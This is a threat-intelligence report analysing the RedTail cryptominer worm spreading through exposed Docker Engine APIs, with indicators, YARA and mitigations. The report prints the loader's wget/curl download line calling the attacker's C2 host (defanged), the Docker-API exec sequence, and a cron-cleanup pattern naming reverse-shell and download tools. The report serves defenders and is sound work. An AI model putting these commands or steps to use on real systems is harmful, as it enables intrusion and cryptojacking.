malware · cryptomining · redtail · docker · linux · honeypot · worm

Inside a RedTail Campaign: Self-Propagation Through Exposed Docker APIs

Kinryū Labs honeypots caught the RedTail cryptominer spreading through unauthenticated Docker Engine APIs and dropped SSH keys. This writeup documents a current, fully captured instance, with the loader, the competitor-removal script, the miner, and live indicators.

By Davis Zheng·

TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.

Executive summary

  • 2375exposed Docker API, the way in
  • 4CPU architectures targeted
  • ~21sfull break-in logged on our honeypot
  • wormableSSH client built into the miner

In early to mid-June 2026 our honeypot network caught a worm that spreads through internet-exposed Docker Engine APIs on TCP/2375 and drops RedTail, an XMRig-based Monero miner that has been around since late 2023. The actor lists the running containers through the open Docker API, runs commands inside each one, drops an SSH private key for persistence and lateral movement, then pulls down a multi-architecture loader. The loader installs a miner that ships its own SSH client for spreading and a libpcap sniffer for finding new targets.

The payload is unmistakably RedTail. RedTail is best known for arriving through web app exploits (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link), and its use of exposed Docker APIs has prior reporting too. This writeup adds a current, fully captured instance of that Docker-API delivery: the live C2 and indicators, the SSH-key drop that lets the host self-replicate, and the competitor-removal script that earlier writeups pointed at without recovering. We track the self-replication logic internally as docker.selfrep.

The miner carries an encrypted runtime config and no embedded wallet, so we cannot pull a Monero address out of the sample. Recovering it needs a live detonation with network capture.

Key findings
  • The payload is RedTail (high confidence). The libredtail evbuffer_tls string, the .redtail artifact, the redtail fallback in the loader, and the encrypted-config / no-wallet build all line up with the family's post-2024 versions.
  • The campaign is wormable (high confidence). The Docker-API tooling, the dropped key, and the miner's built-in SSH client are everything a freshly infected host needs to go find the next victim on its own.
  • The operator is in it for the money (moderate confidence). The credential theft and sniffing look like they serve spreading rather than a separate data-theft goal.
  • The Docker-API vector has prior reporting for RedTail and still works well. A single exposed socket on TCP/2375 gives the actor code execution as root inside every container on the host.

Attack chain

[0] Reconnaissance     Internet scan for exposed Docker API :2375

[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)

[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)

[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)

[4] Ingress (Stage 2)  Pull loader:  scp [email protected][.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)

[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal

[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2

[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)

[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

Stage 1: initial access via the Docker API

The actor goes after Docker Engine instances that expose the unauthenticated REST API on TCP/2375. Our Docker-API honeypot emulates a real engine, and it logged the whole sequence inside about 21 seconds:

  1. GET /version and GET /containers/json to fingerprint the engine and list containers.
  2. POST /containers/{id}/exec then POST /exec/{id}/start against every running container.
  3. An in-container shell payload that writes the attacker’s SSH key and fetches the loader.

That last step is what turns this from a one-off miner into a worm. A host that gets infected and happens to expose its own Docker API will run the same list-and-exec routine against the next set of victims. We call that logic docker.selfrep.

Dropped SSH key (persistence and lateral movement)

AttributeValue
TypeOpenSSH ed25519 private key
Commentdlr@sftp
Public-key SHA256 fingerprintSHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
Pull source (SCP channel)[email protected][.]113

We are not publishing the private key. Use the fingerprint above to hunt for it: check authorized_keys and ~/.ssh across your estate.

Stage 2: the /sh loader

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 Type: POSIX shell script

A small, portable loader, and a careful one.

Random hidden filename. get_random_string() puts together a 4 to 35 character alphanumeric name, trying /dev/urandom, then openssl, then $RANDOM, and falling back to the literal string redtail if all of those fail. That fallback is a handy family tell. The miner lands as .<random> with a leading dot to keep it out of a plain ls. VirusTotal has this sample under one of those names, .mn6VTucEsFZY1PdSC2QAq.

Download helper. dlr() turns off TLS verification, since the C2 is self-signed, and falls back from wget to curl:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

noexec-aware staging. The loader reads /proc/mounts, throws out every noexec mount, and runs find / -user $(whoami) -perm -u=rwx to find somewhere it can both write and execute. It write-tests each candidate with a 2 MB dd or truncate before using it. Most loaders just write to /tmp and move on. This one puts in the work to land somewhere it knows it can execute.

Competitor cleanup. It pulls and runs clean (dlr clean; chmod +x clean; sh clean; rm -rf clean), then removes it. We grabbed that script too and break it down below. It goes after rival persistence and staging, leaving running processes alone.

Tidying up. It removes .redtail and the previous .<random> file before installing the new one.

Architecture pick. A uname -mp switch chooses the build:

ARCH matchDownloads
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
unknownbrute-forces all four, runs each

Run. ./.<random> $1, passing along the loader’s original $1, which RedTail treats as a campaign or vector tag.

The clean competitor-removal script

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 Type: Bash script (795 bytes)

We captured clean in a later hit on the honeypots. It leaves running processes alone. Its whole job is to clear other malware off the box so RedTail has it to itself:

  • Cron cleanup. For every user crontab (/var/spool/cron/crontabs/*), system crontab (/etc/crontab, /etc/crontabs), drop-in directory (/etc/cron.{hourly,daily,weekly,monthly,d}), and /etc/anacrontab, it strips the immutable bit with chattr -ia (rival malware sets that to protect its own cron lines) and then deletes any line that matches a re-infection pattern:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    That pulls out other crews’ download cradles and reverse shells while leaving the legitimate cron entries alone.

  • Killing a named rival. It disables and stops the c3pool_miner systemd service, a direct shot at the c3pool miner.

  • Wiping staging. It empties /tmp, /var/tmp, and /dev/shm with rm -rf, clearing out competitor payloads and the scratch space they share.

Hitting persistence and staging is the quieter play. It survives a reboot, where leftover cron entries would otherwise reinfect the host, and it avoids the noise of mass process kills.

Stage 3: the RedTail miner (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b Size: 1,880,264 bytes (1.79 MB) Format: ELF 64-bit LSB EXEC (statically linked, non-PIE), x86-64, entry 0xaa9e18 Packer: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 malicious, community score −60, first seen ~2026-06-05 Threat labels: trojan.usblem26/abminer; families usblem26 / abminer / gen3

Packing and anti-analysis

  • UPX 5.02 with the header intact. upx -d unpacks it cleanly to a roughly 5 MB statically linked ELF.
  • Fileless execution. VirusTotal’s code insights show it using memfd_create (syscall 0x13f) to run the payload straight out of an anonymous memory file descriptor, with /proc/self/exe re-execution and /dev/shm staging. Nothing touches disk, so disk-based AV never gets a look.
  • Process-name spoofing (sets-process-name) so it blends in with normal processes.
  • Debugger evasion (detect-debug-environment). Public RedTail writeups describe ptrace self-debugging and the binary actively killing GDB.
  • A note on host AV. Microsoft Defender flags the packed ELF as Trojan:Linux/Multiverze!rfn and blocks it from being read off disk, so static triage has to happen in an isolated box or in memory.

Confirmed components (from unpacked .rodata strings)

XMRig mining core

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail, the family-defining networking stack

libredtail evbuffer_tls
Connection  keepalive  User-Agent

A custom libevent plus TLS HTTP client. The libredtail evbuffer_tls string is what separates RedTail from a stock XMRig build.

Embedded SSH client (lateral movement and credential theft)

ssh-userauth   ssh-ed25519   [email protected]
[email protected]   [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

The miner carries a complete SSH client. That is the engine behind the dlr@sftp key drop and the spreading. The miner binary handles its own credential theft and SSH propagation. None of that lives in the dropper.

Embedded libpcap (network sniffing)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

On-host packet capture, which fits local discovery of hosts and credentials.

Encoding tables. Both the standard and URL-safe Base64 alphabets show up (...+/ and ...-_), used by the config decode routine.

Configuration and the attribution gap

We searched the unpacked binary hard for IPs, URLs, stratum, pool, and Monero address patterns. The only pools in there are XMRig’s built-in developer-donation pools (donate.ssl.xmrig.com, donate.v2.xmrig.com), which every XMRig build carries and which the operator does not control. There is no attacker pool, proxy, or wallet in plaintext.

That is deliberate, and it matches where RedTail has gone since 2024. The mining config is encrypted and only decrypted in memory at runtime, and recent builds carry no wallet at all, pointing at a private pool or pool-proxy instead. So:

  • We cannot get a Monero wallet out of this sample.
  • The pool-proxy only comes out of a live detonation with a network sink (see methodology).

Attribution

This is RedTail, also known as the .redtail miner, an XMRig-derived Monero miner first written up around late 2023 and early 2024. What lines up:

  • The libredtail evbuffer_tls string, which is unique to it.
  • The .redtail artifact and the redtail fallback in the loader.
  • The encrypted-config / no-wallet build, the multi-arch loader, the clean competitor script, and the SSH credential theft, all of which are known RedTail traits.

For comparison, the delivery vectors already on record for the family are CVE-2024-3400 (PAN-OS), CVE-2023-46805 and CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI), and CVE-2023-1389 (TP-Link). VirusTotal also tags this sample with CVE-2021-41773 (Apache 2.4.49/2.4.50 path traversal to RCE) and CVE-2015-2808 (RC4, “Bar Mitzvah”).

RedTail’s use of exposed Docker APIs has prior reporting, so the vector itself is old. This report adds a current capture of it: the live C2 and payload hashes, the recovered clean script, and the dropped-key self-replication detail.

Outlook

Cryptojacking crews change how they break in far more often than they change the payload, and RedTail’s modular loader makes it easy to swap one entry method for another. Exposed Docker sockets sit right in that wheelhouse. A lot of opportunistic Linux activity has drifted toward cloud-native misconfigurations, and one open Docker API hands the attacker root inside every container on the box. RedTail has been here before, and the steady supply of internet-exposed 2375 keeps it worthwhile.

We think it is likely the operator keeps the Docker-API vector alongside the web exploits rather than swapping one for the other, which just gives them more reachable hosts. If you run containers, treat an exposed Docker API as if it were sitting on the public internet, because it effectively is.

Indicators of compromise

Network

IndicatorContext
14.46.136[.]77C2 / payload host (HTTPS, self-signed). Serves /sh, /clean, /x86_64, /i686, /aarch64, /arm7. ASN-filters cloud egress.
hxxps://14.46.136[.]77/shStage 2 loader URL
hxxps://14.46.136[.]77/cleanCompetitor-removal script (cron / staging purge)
217.60.195[.]113SCP key / payload source ([email protected][.]113)

Files (SHA256 / MD5)

FileSHA256MD5
sh (loader)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean (competitor purge)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (miner)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

Host artifacts

IndicatorContext
.redtailMiner artifact / prior-infection marker
.<random alnum> e.g. .mn6VTucEsFZY1PdSC2QAqHidden miner filename (leading dot + random)
SSH key comment dlr@sftpDropped key
Pubkey FP SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vgDropped key fingerprint; hunt in authorized_keys
Files staged in /dev/shm, /var/tmp, /tmp, or any user-writable rwx dirStaging locations

Behavioural

  • memfd_create (syscall 0x13f) executing an ELF from an anonymous file descriptor.
  • A process reading /proc/mounts then running find / -perm -u=rwx (noexec-aware staging).
  • Process-name spoofing; ptrace-based debugger evasion.
  • Outbound stratum+tcp:// / stratum+ssl:// to a non-standard host.
  • systemctl disable c3pool_miner and systemctl stop c3pool_miner (competitor eviction).
  • chattr -ia against crontab paths immediately followed by mass deletion of wget / curl / reverse-shell lines from cron.
  • rm -rf of /tmp/*, /var/tmp/*, and /dev/shm/* (competitor staging wipe).

Detection

Host detection (process / EDR logic)

Alert on a process that, in sequence:

  1. reads /proc/mounts, then runs find / ... -perm -u=rwx ..., and
  2. writes a leading-dot, random-named file to a world-writable directory, and
  3. calls memfd_create followed by execution from the resulting file descriptor.

Any one of these on its own is weak. The three together are a strong signal for this loader.

Candidate YARA (unpacked binary)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "[email protected]" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

This rule matches the UPX-unpacked binary. For the packed sample, pivot on the UPX signature, the file size (~1.79 MB), and the VirusTotal hashes above.

Network detection

  • Block and alert on outbound traffic to 14.46.136[.]77 and 217.60.195[.]113.
  • Alert on stratum+tcp / stratum+ssl to any non-allowlisted destination.
  • Alert on HTTP(S) GET of single-letter or arch-named paths (/sh, /x86_64, /aarch64, /arm7).

Mitigation

  1. Do not expose the Docker API (2375/2376) to untrusted networks. Bind it to localhost or a protected socket and require TLS client-certificate auth. That one control breaks the initial-access step outright.
  2. Audit ~/.ssh/authorized_keys across the estate for the dlr@sftp key and its fingerprint.
  3. Egress-filter and monitor for stratum traffic and the C2 IPs above.
  4. Mount /tmp, /var/tmp, and /dev/shm with noexec where you can. It raises the bar, though this loader is noexec-aware and will go looking for another writable, executable directory.
  5. Harden containers: drop capabilities you do not need, use read-only root filesystems, and run least-privilege so that an exec-in does not hand the attacker a usable execution environment.

MITRE ATT&CK mapping

TacticTechnique
Initial AccessT1190 Exploit Public-Facing Application (Docker API)
ExecutionT1609 Container Administration Command; T1059.004 Unix Shell
PersistenceT1098.004 SSH Authorized Keys
Defense EvasionT1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion
Credential AccessT1552.004 Private Keys; T1040 Network Sniffing
DiscoveryT1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery
Lateral MovementT1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Command and ControlT1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer
ImpactT1496 Resource Hijacking (cryptomining)

Methodology and analyst notes

  • We pulled Stage 2 and Stage 3 off the live C2 over HTTPS. 14.46.136[.]77 times out for cloud IPs (we tried from AWS/EC2) but serves residential and commodity IPs fine, which is an ASN or geo egress filter that breaks automated cloud sandboxes.
  • The packed ELF sets off Microsoft Defender (Trojan:Linux/Multiverze!rfn) and cannot even be read off disk on a protected Windows host, so the first triage happened in memory, unpacking the archive inside a Python process without ever writing the raw ELF out.
  • Unpacking was done with upx -d in an isolated FLARE-VM. We analysed the unpacked binary statically, by strings and structure, without running it.
  • We did not run the miner, so the runtime-decrypted pool-proxy and Monero config are not in this report.
  • We recovered the attacker’s private key from the capture and are not publishing it. Only the public-key fingerprint (above) is in the indicators, which is what defenders need to hunt the dropped dlr@sftp key in authorized_keys.

To get the pool-proxy, detonate the unpacked binary on an isolated Linux box (REMnux works) with:

  • a network sink (INetSim, or fakedns plus a TCP catch-all) to draw out the connection,
  • tcpdump -i any -w redtail.pcap to catch the stratum CONNECT and login, and
  • strace -f to grab the plaintext config the miner decrypts right before its first connect(), which is often readable even when TLS hides it on the wire.

That host and port are the last indicator still outstanding for this campaign.

Samples

Samples (the loader, the clean script, and the packed miner) are available to other researchers and defenders on request. Email [email protected] with a short note on who you are and what you need them for.

How to cite
Kinryū Labs (2026). Inside a RedTail Campaign: Self-Propagation Through Exposed Docker APIs. https://kinryu.sh/reports/redtail-cryptominer-exposed-docker-api/